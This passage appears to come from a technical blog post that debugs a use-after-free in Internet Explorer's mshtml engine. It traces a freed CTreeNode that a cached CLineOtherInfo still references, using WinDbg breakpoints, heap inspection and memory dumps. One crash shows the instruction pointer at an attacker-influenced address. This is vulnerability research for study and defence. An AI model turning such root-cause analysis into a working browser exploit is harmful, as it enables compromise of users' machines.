0243d5f4 6db2735c mshtml\!HandleHTMLInjection+0x5c  
0243d6ac 6de553db mshtml\!CElement::InjectInternal+0x307  
0243d788 6dbe93c2 mshtml\!CObjectElement::DeferredFallback+0x2f0  
0243d7bc 6dbde012 mshtml\!GlobalWndOnMethodCall+0xff  
0243d7dc 7711c4e7 mshtml\!GlobalWndProc+0x10c...  
  
g  
\(b94.c2c\): Access violation - code c0000005 \(first chance\)  
First chance exceptions are reported before any exception handling.  
This exception may be expected and handled.  
eax=00000000 ebx=0018d470 ecx=000d000d edx=00000000 esi=0243bdf0 edi=00000000  
eip=6dbcb68f esp=0243bdc4 ebp=0243bddc iopl=0 nv up ei pl zr na pe nc  
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010246  
mshtml\!CElement::Doc+0x2:  
6dbcb68f 8b5070 mov edx,dword ptr \[eax+70h\] ds:0023:00000070=????????  
  

According to this, we're referring free memory by the time of the crash. And
according to the stack the node tree is being spliced and that lead to the
removal of the node. Let's validate it:  

  
\!heap -x 0018d470  
Entry User Heap Segment Size PrevSize Unused Flags  
\-----------------------------------------------------------------------------  
0018d468 0018d470 00090000 0013a868 58 \- 0 LFH;free  
  

Yes. it's free memory, and it's trying to use a freed mshtml\!CTreeNode. Let
triple check this by seeing how much memory a CTreeNode occupies. Sampling a
couple of mshtml\!CTreeNode callers we get this:  
  

<img src='img/Temp2_6041.png' />Mshtml\!CTreeNode is sized 0x4C which is a
match with 58, because of the heap granularity the allocation is rounded to
multiples of 8, moving 0x4C to 0x50. The heap keeps more 8 bytes for header:  
  
?@@\(sizeof\(nt\!\_heap\_entry\)\)  
Evaluate expression: 8 = 00000008  
  
Giving a total of 0x50+0x8 = 0x58.  
  

This is a confirmation of an use-after-free vulnerability, where the code it's
trying to call a freed mshtml\!CTreeNode container of an
mshtml\!CObjectElement. Why is it freeing the node? look at our stack by the
time of the free:  
  
0243d200 6db26555 mshtml\!CTreeNode::Release+0x2d  
...  
0243d4a4 6db27412 mshtml\!CDoc::Remove+0x18  
0243d4bc 6db29c8e mshtml\!RemoveWithBreakOnEmpty+0x3a  
...  
0243d6ac 6de553db mshtml\!CElement::InjectInternal+0x307  
  

The node contains an empty CElement and so it is removed from the node tree.  
We need to analyze now the node tree dynamic behavior. Let's do this with the
following breakpoints:  
  

uf mshtml\!ctreenode::release  
mshtml\!CTreeNode::Release:  
6dc00c43 8b4a40 mov ecx,dword ptr \[edx+40h\]  
6dc00c46 8bc1 mov eax,ecx  
6dc00c48 c1e803 shr eax,3  
6dc00c4b 83e107 and ecx,7  
6dc00c4e 8d04c5f8ffffff lea eax,\[eax\*8-8\]  
6dc00c55 0bc1 or eax,ecx  
6dc00c57 894240 mov dword ptr \[edx+40h\],eax  
6dc00c5a a9f8ffffff test eax,0FFFFFFF8h  
6dc00c5f 0f847eef0200 je mshtml\!CTreeNode::Release+0x1e \(6dc2fbe3\)  
  
bp mshtml\!CTreeNode::CTreeNode ".printf \" CTreeNode:node\[%08x\]
parent\[%08x\] Type:\",ecx,poi\(esp+4\);dds edi l1;gc"  
bp mshtml\!CTreeNode::Release+0x1c ".printf \"Release:node\[%08x\]\",edx;.if
\(@zf=1\) \{.printf \" \[Freed\] \"\}; .printf \"Type:\"; dds poi\(edx\) l1;
gc;"  
  

Before dumping the results, I would like to explain the Freed tag printed in
the CTreeNode::Release breakpoint and it code location. The function is very
simple to analyze, and basically it frees a CTreeNode object instance, but it
doesn't always give the allocation space back to the heap manager for
performance reasons. So the breakpoint We need to set is in the decision
branching "jz ...". If left is chosen we just print out the release call, if
right is chosen we indicate that memory was handled to the heap.  

  
<img src='img/Temp2_6033.png' />So here are the results. I will not print
everything as it is very extensive, but you'll get the general idea with this
sampling:  
  
CTreeNode:node\[00218248\] parent\[00000000\] Type:002772d8 6db42010
mshtml\!CRootElement::\`vftable'  
Release:node\[00217a60\] \[Freed\] Type:0021f6e0 6db51868
mshtml\!CHeadElement::\`vftable'  
Release:node\[00217f88\] \[Freed\] Type:0025b778 6db51ae8
mshtml\!CTitleElement::\`vftable'  
Release:node\[00217fe0\] \[Freed\] Type:0025b7e8 6db50c30
mshtml\!CBodyElement::\`vftable'  
Release:node\[00218038\] \[Freed\] Type:00255998 6dbaf9f8
mshtml\!CScriptElement::\`vftable'  
Release:node\[00217a08\] \[Freed\] Type:0021f7a0 6db51598
mshtml\!CHtmlElement::\`vftable'  
CTreeNode:node\[00217a08\] parent\[00000000\] Type:00266898 6db42010
mshtml\!CRootElement::\`vftable'  
Release:node\[00217cc8\]Type:00266898 6db42010
mshtml\!CRootElement::\`vftable'  
Release:node\[00217cc8\] \[Freed\] Type:00266898 6db42010
mshtml\!CRootElement::\`vftable'  
Release:node\[00217a08\]Type:00266898 6db42010
mshtml\!CRootElement::\`vftable'  
Release:node\[00217a08\] \[Freed\] Type:00266898 6db42010
mshtml\!CRootElement::\`vftable'  
Release:node\[00218248\]Type:002772d8 6db42010
mshtml\!CRootElement::\`vftable'  
Release:node\[00218248\]Type:002772d8 6db42010
mshtml\!CRootElement::\`vftable'  
Release:node\[00218248\]Type:002772d8 6db42010
mshtml\!CRootElement::\`vftable'  
Release:node\[00218248\]Type:002772d8 6db42010
mshtml\!CRootElement::\`vftable'  
Release:node\[00218248\]Type:002772d8 6db42010
mshtml\!CRootElement::\`vftable'  
Release:node\[00218248\]Type:002772d8 6db42010
mshtml\!CRootElement::\`vftable'  
CTreeNode:node\[002181f0\] parent\[00218248\] Type:00266898 6db51598
mshtml\!CHtmlElement::\`vftable'  
CTreeNode:node\[00217a08\] parent\[002181f0\] Type:00266bc8 6db51868
mshtml\!CHeadElement::\`vftable'  
CTreeNode:node\[00217850\] parent\[00217a08\] Type:0025ba18 6db51ae8
mshtml\!CTitleElement::\`vftable'  
CTreeNode:node\[00218198\] parent\[002181f0\] Type:0025b660 6db50c30
mshtml\!CBodyElement::\`vftable'  
CTreeNode:node\[00218038\] parent\[00218198\] Type:00255f48 6dbaf9f8
mshtml\!CScriptElement::\`vftable'  
ModLoad: 6fb10000 6fbc2000 C:\Windows\System32\jscript.dll  
CTreeNode:node\[00217f88\] parent\[00000000\] Type:00276e88 6db42010
mshtml\!CRootElement::\`vftable'  
CTreeNode:node\[002b8008\] parent\[00217f88\] Type:00276dc8 6db51598
mshtml\!CHtmlElement::\`vftable'  
CTreeNode:node\[002b8060\] parent\[002b8008\] Type:00277158 6db51868
mshtml\!CHeadElement::\`vftable'  
CTreeNode:node\[002b80b8\] parent\[002b8060\] Type:0025bac0 6db51ae8
mshtml\!CTitleElement::\`vftable'  
CTreeNode:node\[002b8110\] parent\[002b8060\] Type:00256108 6dbaf9f8
mshtml\!CScriptElement::\`vftable'  
...  
CTreeNode:node\[002b7fb0\] parent\[002b8060\] Type:0025bac0 6db50c30
mshtml\!CBodyElement::\`vftable'  
CTreeNode:node\[002b8168\] parent\[002b7fb0\] Type:002adef0 6db03dd8
mshtml\!CObjectElement::\`vftable'  
CTreeNode:node\[002b8378\] parent\[002b7fb0\] Type:00256098 6da17eb0
mshtml\!CAnchorElement::\`vftable'  
Release:node\[002b8218\] \[Freed\] Type:002adfd8 6db03dd8
mshtml\!CObjectElement::\`vftable'  
Release:node\[002b8378\] \[Freed\] Type:00256098 6da17eb0
mshtml\!CAnchorElement::\`vftable'  
Release:node\[002b8168\] \[Freed\] Type:002adef0 6db03dd8
mshtml\!CObjectElement::\`vftable'  
CTreeNode:node\[002b8168\] parent\[00218198\] Type:002adef0 6db03dd8
mshtml\!CObjectElement::\`vftable'  
CTreeNode:node\[002b8378\] parent\[00218198\] Type:00256098 6da17eb0
mshtml\!CAnchorElement::\`vftable'  
Release:node\[002b8270\] \[Freed\] Type:0025bb30 6db51ae8
mshtml\!CTitleElement::\`vftable'  
Release:node\[002b80b8\] \[Freed\] Type:00277158 6db51868
mshtml\!CHeadElement::\`vftable'  
Release:node\[002b7fb0\] \[Freed\] Type:0025bac0 6db50c30
mshtml\!CBodyElement::\`vftable'  
Release:node\[002b8060\] \[Freed\] Type:00276dc8 6db51598
mshtml\!CHtmlElement::\`vftable'  
Release:node\[00217a60\]Type:00276e88 6db42010
mshtml\!CRootElement::\`vftable'  
Release:node\[00217a60\] \[Freed\] Type:00276e88 6db42010
mshtml\!CRootElement::\`vftable'  
...  
CTreeNode:node\[002b7fb0\] parent\[00218198\] Type:002adef0 6db03dd8
mshtml\!CObjectElement::\`vftable'  
CTreeNode:node\[002b8378\] parent\[00218198\] Type:00256178 6da17eb0
mshtml\!CAnchorElement::\`vftable'  
CTreeNode:node\[002b8428\] parent\[00218198\] Type:00277038 6da171b0
mshtml\!CPhraseElement::\`vftable'  
Release:node\[002b8218\] \[Freed\] Type:0025bc80 6db51ae8
mshtml\!CTitleElement::\`vftable'  
Release:node\[002b8320\] \[Freed\] Type:00277158 6db51868
mshtml\!CHeadElement::\`vftable'  
Release:node\[002b8060\] \[Freed\] Type:0025b970 6db50c30
mshtml\!CBodyElement::\`vftable'  
....  
Release:node\[00218198\]Type:0025b660 6db50c30
mshtml\!CBodyElement::\`vftable'  
Release:node\[00218248\]Type:002772d8 6db42010
mshtml\!CRootElement::\`vftable'  
CTreeNode:node\[00218038\] parent\[00000000\] Type:00276e88 6db42010
mshtml\!CRootElement::\`vftable'  
CTreeNode:node\[002b8008\] parent\[00218038\] Type:00277158 6db51598
mshtml\!CHtmlElement::\`vftable'  
CTreeNode:node\[002b8270\] parent\[002b8008\] Type:00276df8 6db51868
mshtml\!CHeadElement::\`vftable'  
CTreeNode:node\[002b8060\] parent\[002b8270\] Type:0025bd28 6db51ae8
mshtml\!CTitleElement::\`vftable'  
CTreeNode:node\[002b8320\] parent\[002b8008\] Type:002c7a48 6db50c30
mshtml\!CBodyElement::\`vftable'  
Release:node\[002b7fb0\] \[Freed\] Type:002adef0 6db03dd8
mshtml\!CObjectElement::\`vftable'  
Release:node\[002b8060\] \[Freed\] Type:0025bd28 6db51ae8
mshtml\!CTitleElement::\`vftable'  
Release:node\[002b8270\] \[Freed\] Type:00276df8 6db51868
mshtml\!CHeadElement::\`vftable'  
Release:node\[002b8320\] \[Freed\] Type:002c7a48 6db50c30
mshtml\!CBodyElement::\`vftable'  
Release:node\[002b8008\] \[Freed\] Type:00277158 6db51598
mshtml\!CHtmlElement::\`vftable'  
Release:node\[00218038\]Type:00276e88 6db42010
mshtml\!CRootElement::\`vftable'  
Release:node\[00218038\] \[Freed\] Type:00276e88 6db42010
mshtml\!CRootElement::\`vftable'  
\(ec.77c\): Access violation - code c0000005 \(first chance\)  
First chance exceptions are reported before any exception handling.  
This exception may be expected and handled.  
eax=00000000 ebx=002b7fb0 ecx=002a004f edx=00000000 esi=0219bc30 edi=00000000  
eip=6dbcb68f esp=0219bc04 ebp=0219bc1c iopl=0 nv up ei pl zr na pe nc  
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010246  
mshtml\!CElement::Doc+0x2:  
6dbcb68f 8b5070 mov edx,dword ptr \[eax+70h\] ds:0023:00000070=????????  
  
Freed node  
  
dc 002b7fb0  
002b7fb0 002a004f 00000000 ffff404a ffffffff O.\*.....J@......  
002b7fc0 00000051 00000000 00000000 00000000 Q...............  
002b7fd0 00000000 002b7fd8 00000062 00000000 ......+.b.......  
002b7fe0 00000000 00000000 002b7fc0 00000000 ..........+.....  
002b7ff0 00000000 00000000 00000000 00000000 ................  
  

This dump is very interesting as it gives an overlook of the tree construct
and how IE organizes a document layout. As you can see from the last part,
we've got another excelent confirmation of the deallocation of the CTreeNode
and how the memory of freed objects is being constantly reused by newly
allocated objects. Another thing to point out is that the
mshtml\!CObjectElement contained by the freed mshtml\!CTreeNode is also freed,
and it's parent, an mshtml\!CBodyElement object type, is also being freed. So,
what the heck is going on here? Everything seem to be working correctly, the
tree seems to being correctly and orderly dismantled.  
Why is it still being referenced? And where?  
  
Let's try a first approach. Let's go to the moment where the node is created
again:  

  
bp mshtml\!CTreeNode::CTreeNode ".printf \" CTreeNode:node\[%08x\]
Type:\",ecx;dds edi l1; .if\(poi\(edi\)\!=mshtml\!CObjectElement::\`vftable'
\) \{gc;\}"  
  
After triggering the breakpoint, let's set another breakpoint in an important
function into solving our puzzle, mshtml\!CLineCore::AO\_GetFancyFormat. This
function is called early before crashing, so it might have important data
around that we might be interested in.  
  

bp mshtml\!CLineCore::AO\_GetFancyFormat  
  
k  
ChildEBP RetAddr  
01f8ecec 635a0e0f mshtml\!CHtmRootParseCtx::BeginElement+0x106  
01f8ed10 635a0760 mshtml\!CHtmTextParseCtx::BeginElement+0x6c  
01f8ed40 635a06b2 mshtml\!CHtmParse::BeginElement+0xb7  
01f8ed6c 6359eeef mshtml\!CHtmParse::ParseBeginTag+0xfe  
01f8ed88 635a0191 mshtml\!CHtmParse::ParseToken+0x82  
01f8ee30 6359f32d mshtml\!CHtmPost::ProcessTokens+0x237  
01f8eef4 635d7994 mshtml\!CHtmPost::Exec+0x221  
01f8ef40 636526a2 mshtml\!CHtmLoad::Init+0x33d  
...  
  

I'll present some info that's the result from some reversing; I'm not going to
explaint it because it would be too long and too boring. Yes, more than it is
being now... :\)  
Basically what we have here is the CTreeNode of interest and it's relation
with other object that references it in a tree node who is arranjed as a
balanced tree.  
  
CTreeNode:node\[03f26c80\] Type:03fb8fe0 639ad498
mshtml\!CObjectElement::\`vftable'  
dc 03f26c80  
03f26c80 03fb8fe0 03f26128 ffff024a ffffffff ....\(a..J.......  
03f26c90 00000071 00000000 001b3598 03f26ca8 q........5...l..  
03f26ca0 001b3598 03f26ca8 00000172 00000001 .5...l..r.......  
03f26cb0 03f26c90 03f26978 03f26c90 03f26978 .l..xi...l..xi..  
03f26cc0 00000008 00000000 00000000 00000000 ................  
  
CMarkup  
dc 03a4d5e8  
03a4d5e8 6362f458 0000000c 00000078 04811d80 X.bc....x.......  
03a4d5f8 00000000 02000001 00000003 00000008 ................  
03a4d608 0480d4c0 03ab9790 00800000 00000000 ................  
03a4d618 00000000 048095b0 00000001 00000001 ................  
03a4d628 00000010 0000000a 04800af0 00000000 ................  
03a4d638 0000000b 8000000b 046857d0 04811a60 .........Wh.\`...  
03a4d648 03a55568 00000000 03f4e4e0 03a46a00 hU...........j..  
03a4d658 00000000 00000000 00000000 00000000 ................  
03a4d668 001b3b60 00000000 00000820 00000022 \`;...... ..."...  
  
dc 04800af0 04800af0+8c  
04800af0 6363ac10 6364b628 00000000 00000000 ..cc\(.dc........  
04800b00 00000000 00000000 00000000 00000000 ................  
04800b10 00000000 00000000 00000000 00000000 ................  
04800b20 03a4d5e8 0022da18 00000003 00000000 ......".........  
04800b30 03f26150 04800b38 000000b4 00000000 Pa..8...........  
04800b40 00000000 00000000 00000000 03f26348 ............Hc..  
04800b50 00000000 0c000000 00000000 03f26128 ............\(a..  
04800b60 04800b38 00000009 00000000 00000000 8...............  
04800b70 00000000 03f262e0 00000000 00000000 .....b..........  
  
dc 03fb8fe0  
03fb8fe0 639ad498 00000002 00000008 04811d40 ...c........@...  
03fb8ff0 00000000 03f26c80 8800004a a0012200 .....l..J...."..  
03fb9000 00000000 03a4d5e8 00000000 639a1798 ...............c  
03fb9010 639a17bc 639a17e0 00000000 63882ff0 ...c...c...../.c  
  

By tracing some instructions ahead, we can observe this:  
  

eax=00000000 ebx=01f8eb98 ecx=00000000 edx=03adc4bc esi=03fb8b80 edi=00000000  
eip=63793bdd esp=01f8e658 ebp=01f8e688 iopl=0 nv up ei pl zr na pe nc  
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246  
mshtml\!CLineCore::AO\_GetFancyFormat:  
63793bdd 8bff mov edi,edi  
  
...  
wt  
8 0 \[ 0\] mshtml\!CLineCore::oi  
11 0 \[ 1\] kernel32\!TlsGetValue  
14 11 \[ 0\] mshtml\!CLineCore::oi  
  
25 instructions were executed in 24 events \(0 from other threads\)  
  
Function Name Invocations MinInst MaxInst AvgInst  
kernel32\!TlsGetValue 1 11 11 11  
mshtml\!CLineCore::oi 1 14 14 14  
  
0 system calls were executed  
  
eax=03fb8b80 ebx=01f8eb98 ecx=00000000 edx=03adc4bc esi=03fb8b80 edi=00000000  
eip=63793be9 esp=01f8e654 ebp=01f8e654 iopl=0 nv up ei pl zr na pe nc  
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246  
mshtml\!CLineCore::AO\_GetFancyFormat+0xc:  
63793be9 e87dd6ecff call mshtml\!CLineCore::oi \(6366126b\)  
  
...  
eax=03f94ad0 ebx=01f8eb98 ecx=03f26c80 edx=03adc4bc esi=03fb8b80 edi=00000000  
eip=63793bfb esp=01f8e654 ebp=01f8e654 iopl=0 nv up ei pl zr na pe nc  
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246  
mshtml\!CLineCore::AO\_GetFancyFormat+0x1e:  
63793bfb e8f2c7ecff call mshtml\!CTreeNode::GetFancyFormat \(636603f2\)  
  
...  
  
\(180.1bc\): Access violation - code c0000005 \(first chance\)  
First chance exceptions are reported before any exception handling.  
This exception may be expected and handled.  
eax=00450056 ebx=03f26c80 ecx=03fb0183 edx=00000000 esi=01f8e380 edi=00000000  
eip=00000000 esp=01f8e350 ebp=01f8e36c iopl=0 nv up ei pl zr na pe nc  
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010246  
00000000 ?? ???  
  
Dumping around some registries and cross-referencing with data obtained
before:  
  
dc 03f94ad0  
03f94ad0 00000000 000003e8 00000000 0000063a ............:...  
03f94ae0 00000000 00000000 00000000 03f26c80 .............l..  
03f94af0 00000000 000005dc 00000000 00000000 ................  
03f94b00 00000000 00000000 00000000 00000000 ................  
  
s -d 00140000 l1000000 03f94ad0  
03f64740 03f94ad0 0001bdf0 00000001 03f94188 .J...........A..  
  
s -d 00140000 l1000000 03f64740  
03a32220 03f64740 00000010 00000009 00000009 @G..............  
  
dc 03a32220-30  
03a321f0 6363d260 03a32210 00000000 00000000 \`.cc."..........  
03a32200 00000000 00000000 00000001 00000001 ................  
03a32210 00000000 00000000 637d5aad 03a321f0 .........Z\}c.\!..  
03a32220 03f64740 00000010 00000009 00000009 @G..............  
03a32230 00000000 00000000 ead73077 ff0c0100 ........w0......  
03a32240 6359ab60 03a32260 00000000 00000000 \`.Yc\`"..........  
  
dds 6363d260 l1  
6363d260 636f1785 mshtml\!CDataCache<CLineOtherInfo&gt;::\`vector deleting
destructor'  
  
dc 03a32220-80  
03a321a0 6359ab48 03a321c0 00000000 00000000 H.Yc.\!..........  
03a321b0 00000000 00000000 00000001 00000001 ................  
03a321c0 00000000 00000000 637d5aad 03a321a0 .........Z\}c.\!..  
03a321d0 03a47630 00000008 00000001 00000000 0v..............  
  
dds 6359ab48 l1  
6359ab48 636f17cf mshtml\!CDataCache<CAttrArray>::\`scalar deleting
destructor'  
  
Look at where we got. We now have some more clues about the 'where'. The
CTreeNode seems to be coming from a CDataCache template type object. Hmmm...
We need to confirm it, as this could be the key point of all our exercise.  

Going to the trace there's a moment where the cache becomes 'visible' in the
machine registers: when mshtml\!CLineCore::oi is called. Its definition is:  

  

<img src='img/Temp2_6029.png' />Aha, a reference to the cache is obtained by a
TLS entry. The last part of the function gives us the path to get to our entry
of interest in the cache.  
Let's rerun it again and make this function our target of analysis...  
This is our first breakpoint to use:  
  
bp mshtml\!CTreeNode::CTreeNode ".printf \" CTreeNode:node\[%08x\]
parent\[%08x\] Type:\",ecx,poi\(esp+4\);dds edi l1;
.if\(poi\(edi\)\!=mshtml\!CObjectElement::\`vftable'\) \{gc;\}"  
  
  
Use the same rule we've talked about before to hit the CTreeNode we're
interested in.  

On break, record the mshtml\!CTreeNode address and set it on the following
breakpoint:  

  
CTreeNode:node\[0021a350\] parent\[0021a198\] Type:0021d9c8 639ad498
mshtml\!CObjectElement::\`vftable'  
  
bp mshtml\!CTreeNode::Release+0x1c ".printf \"Release:node\[%08x\]\",edx;.if
\(@zf=1\) \{.printf \" \[Freed\] \"\}; .printf \"Type:\"; dds poi\(edx\) l1;
.if \(edx\!=0021a350\) \{gc;\}"  
  
This will make us stop on the mshtml\!CTreeNode release. Set now this other
breakpoint:  
  
bp 63661285 ".printf \"Cache Addr:%08x ESI=%08x\\\n\",eax,esi ;gc;"  
bp 6366128B ".printf \"\[Cache Addr+6c\]:%08x\\\n\",eax ; gc;"  
bp 6366128E ".printf \"\[Addr+30\]:%08x\\\n\",eax ; gc;"  
bp 63661292 ".printf \"\[Addr2+ESI\]:%08x\\\n\",eax ; dc eax l8; gc;"  
\#bp 6366127F ".printf \"TLS index:%08x\\\n\",poi\(esp\) ; gc;"  
  
Note: All the breakpoints that have an address value as the breakpoint, are
targeted to the mshtml\!CLineCore::oi function. As ASLR changes the base dlls
addresses, they might not work in your environment. But I assume that if you
got this far, you'll be quite capable of adjusting the addresses as needed.  
  
Run it again and:  
  

g  
CTreeNode:node\[03498650\] parent\[03498968\] Type:02fb3bc0 6362d0c8
mshtml\!CAnchorElement::\`vftable'  
CTreeNode:node\[03498a70\] parent\[03498968\] Type:02fc74e0 6362c3d0
mshtml\!CPhraseElement::\`vftable'  
Cache Addr:02f80060 ESI=00000001  
\[Cache Addr+6c\]:0020eeb0  
\[Addr+30\]:03468a90  
\[Addr2+ESI\]:0346b750  
0346b750 fffe7960 00000000 00000000 0000076c \`y..........l...  
0346b760 000186a0 00000000 00000000 00000190 ................  
...  
Cache Addr:02f80060 ESI=00000005  
\[Cache Addr+6c\]:0020eeb0  
\[Addr+30\]:03468a90  
\[Addr2+ESI\]:0346b5a0  
0346b5a0 000003e8 00000000 00000000 001b097c ............|...  
0346b5b0 0000cc4e 00000000 00000000 000547f4 N............G..  
Cache Addr:02f80060 ESI=00000003  
\[Cache Addr+6c\]:0020eeb0  
\[Addr+30\]:03468a90  
\[Addr2+ESI\]:0346b6c0  
0346b6c0 00000000 000003e8 000497c6 00000000 ................  
0346b6d0 fffffdec 00000000 00000000 00000000 ................  
CTreeNode:node\[034983e8\] parent\[00000000\] Type:034895c0 635990c8
mshtml\!CRootElement::\`vftable'  
CTreeNode:node\[03498498\] parent\[034983e8\] Type:03489170 635aeb20
mshtml\!CHtmlElement::\`vftable'  
CTreeNode:node\[03497ec0\] parent\[03498498\] Type:03489500 635aedf0
mshtml\!CHeadElement::\`vftable'  
CTreeNode:node\[03498440\] parent\[03497ec0\] Type:03487010 635af070
mshtml\!CTitleElement::\`vftable'  
CTreeNode:node\[034981d8\] parent\[03498498\] Type:03486fa0 635a7e38
mshtml\!CBodyElement::\`vftable'  
Cache Addr:02f80060 ESI=00000001  
\[Cache Addr+6c\]:0020eeb0  
\[Addr+30\]:03468a90  
\[Addr2+ESI\]:0346b750  
0346b750 fffe7960 00000000 00000000 0000076c \`y..........l...  
0346b760 000252ee 00000000 00000000 00000190 .R..............  
Cache Addr:02f80060 ESI=00000003  
\[Cache Addr+6c\]:0020eeb0  
\[Addr+30\]:034cdf10  
\[Addr2+ESI\]:0346b6c0  
0346b6c0 00000000 000003e8 000497c6 00000000 ................  
0346b6d0 fffffdec 00000000 00000000 00000000 ................  
Cache Addr:02f80060 ESI=00000000  
\[Cache Addr+6c\]:0020eeb0  
\[Addr+30\]:034cdf10  
\[Addr2+ESI\]:0346ae50  
0346ae50 00000000 000003e8 00000000 0000063a ............:...  
0346ae60 00000000 00000000 00000000 03498860 ............\`.I.  
\(c68.100\): Access violation - code c0000005 \(first chance\)  
First chance exceptions are reported before any exception handling.  
This exception may be expected and handled.  
eax=005c0073 ebx=03498860 ecx=00210070 edx=0d010000 esi=01f8e380 edi=00000000  
eip=0d010000 esp=01f8e350 ebp=01f8e36c iopl=0 nv up ei pl zr na pe nc  
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010246  
<Unloaded\_ud.drv>+0xd00ffff:  
0d010000 ?? ???  
  

I shortened again the output as it is quite extensive. But we've got some
interesting stuff. The first one being the obvious one: the CTreeNode is being
referenced by this cache. Another one is that the cache is the always the
same, and you can retrieve it by referring to the correct TLS index.
Confirming this is just a matter of searching for all cross references of
TlsSetValue:  

  

<img src='img/Temp2_6039.png' />They're not many so we can inspect every one
of them. The parameter we're interested is the same referenced in
mshtml\!CLineCore::oi, which is g\_dwTls. From the above entries, there are
only two that correspond to our search requisites: DllThreadDetach and
DllThreadAttach.  
This is our confirmation that there's only a single cache for the IE process.  
  
We now know the 'where', but we haven't got yet the confirmation of a caching
mechanism nor do we know the 'why'. Let's try to get to it. Let's search for
another function that will give us the cache reference and is used after the
mshtml\!CTreeNode is freed: we find mshtml\!CacheLineOtherInfoEx.  
Rerunning it again...  
  
CTreeNode:node\[0021a158\] parent\[00219fa0\] Type:0021d7d0 639ad498
mshtml\!CObjectElement::\`vftable'  
  
  
Set the following breakpoints on stop:  
  
bp mshtml\!CTreeNode::Release+0x1c ".printf \"Release:node\[%08x\]\",edx;.if
\(@zf=1\) \{.printf \" \[Freed\] \"\}; .printf \"Type:\"; dds  
poi\(edx\) l1; .if \(edx\!=0021a158\) \{gc;\}"  
bp mshtml\!CacheLineOtherInfoEx  
  
Trace it until we get to:  
  
eax=01f8f110 ebx=01f8f198 ecx=00000000 edx=6365fa7f esi=01f8f1fc edi=01f8f150  
eip=636697d7 esp=01f8f0e8 ebp=01f8f0f4 iopl=0 nv up ei pl nz ac po nc  
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000212  
mshtml\!CacheLineOtherInfoEx+0xd:  
636697d7 ff1594135863 call dword ptr \[mshtml\!\_imp\_\_TlsGetValue
\(63581394\)\] ds:0023:63581394=\{kernel32\!TlsGetValue \(7c809750\)\}  
0:008> p  
eax=00202810 ebx=01f8f198 ecx=0000002a edx=6365fa7f esi=01f8f1fc edi=01f8f150  
eip=636697dd esp=01f8f0ec ebp=01f8f0f4 iopl=0 nv up ei pl zr na pe nc  
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246  
mshtml\!CacheLineOtherInfoEx+0x13:  
636697dd 8b586c mov ebx,dword ptr \[eax+6Ch\] ds:0023:0020287c=002129a0  
  
EAX is our wanted cache reference. We need to solve it's addressing as
mshtml\!CLineCore::oi does.  
  
?poi\(poi\(00202810+6c\)+30\)  
Evaluate expression: 2241776 = 002234f0  
  
And now let's set a breakpoint on reading and writing on this address. This
will show us two things: first 'where' is the address being set, and second,
the 'why' it's not being also released.  
  
ba w4 002234f0  
0:008> g  
Breakpoint 4 hit  
eax=001b84d8 ebx=00000000 ecx=002234f0 edx=00000008 esi=00000000 edi=002129a0  
eip=63672d75 esp=01f8f084 ebp=01f8f084 iopl=0 nv up ei pl nz na pe nc  
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000206  
mshtml\!CLineOtherInfo::Clone+0x30:  
63672d75 f7d8 neg eax  
0:008> dc 002234f0  
002234f0 001b84d8 00000001 00000000 00000000 ................  
00223500 00000002 00000000 00000000 00000003 ................  
00223510 ffffffff 00000000 00000004 00000003 ................  
00223520 00000000 00000005 11400004 00000000 ..........@.....  
00223530 00000006 00000000 00000000 00000007 ................  
00223540 00000000 00000000 ffffffff 00000000 ................  
00223550 eaa814ba ff0c0100 74726c18 74726c04 .........lrt.lrt  
00223560 74726bf4 74726488 00000001 00000000 .krt.drt........  
0:008> k  
ChildEBP RetAddr  
01f8f084 63672d40 mshtml\!CLineOtherInfo::Clone+0x30  
01f8f094 6363bdcd mshtml\!CDataCache<CLineOtherInfo>::InitData+0x22  
01f8f0b8 6363bd8e mshtml\!CDataCacheBase::Add+0x2a  
01f8f0d4 63669826 mshtml\!CDataCacheBase::CacheData+0x2a  
01f8f0f4 636697b1 mshtml\!CacheLineOtherInfoEx+0x71  
01f8f150 6360dd5e mshtml\!CLineCore::AssignLine+0x2a  
01f8f25c 63607620 mshtml\!CRecalcLinePtr::AlignObjects+0xc78  
01f8f2e4 6366aa19 mshtml\!CRecalcLinePtr::CalcAlignedSitesAtBOLCore+0x1df  
01f8f338 6366a4f0 mshtml\!CRecalcLinePtr::CalcAlignedSitesAtBOL+0x9e  
01f8f400 636731c6 mshtml\!CRecalcLinePtr::MeasureLine+0x3ef  
01f8f4e4 63672ed9 mshtml\!CDisplay::RecalcLinesWithMeasurer+0x43e  
01f8f6a0 63672de9 mshtml\!CDisplay::RecalcLines+0x6a  
01f8f6b4 63672d9c mshtml\!CDisplay::RecalcView+0x6d  
01f8f7c4 6366cabe mshtml\!CFlowLayout::CalcTextSize+0x433  
01f8fa4c 636696cf mshtml\!CFlowLayout::CalcSizeCoreCompat+0x1005  
01f8fa68 63601a48 mshtml\!CFlowLayout::CalcSizeCore+0x48  
01f8faa4 6366967e mshtml\!CBodyLayout::CalcSizeCore+0xd8  
01f8fadc 63668ca2 mshtml\!CFlowLayout::CalcSizeVirtual+0x1ae  
01f8fc14 635b7dd3 mshtml\!CLayout::CalcSize+0x2b8  
01f8fcb0 636419fc mshtml\!CView::EnsureSize+0xda  
  

Yes, we've got our confirmation of a data cache object type instance.  
  
dc 001b84d8 +1c  
001b84f4 0021a158 00000000 000005dc 00000000 X.\!.............  
001b8504 00000000 00000000 00000000 00000000 ................  
  
g  
Breakpoint 3 hit  
eax=002234f0 ebx=00000000 ecx=001b84d8 edx=01f8e718 esi=002129a0 edi=00000000  
eip=6363bd5d esp=01f8e6b4 ebp=01f8e6c4 iopl=0 nv up ei pl nz na pe nc  
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000206  
mshtml\!CDataCacheBase::Find+0x46:  
6363bd5d 85c9 test ecx,ecx  
0:008> k  
ChildEBP RetAddr  
01f8e6c4 6363bd00 mshtml\!CDataCacheBase::Find+0x46  
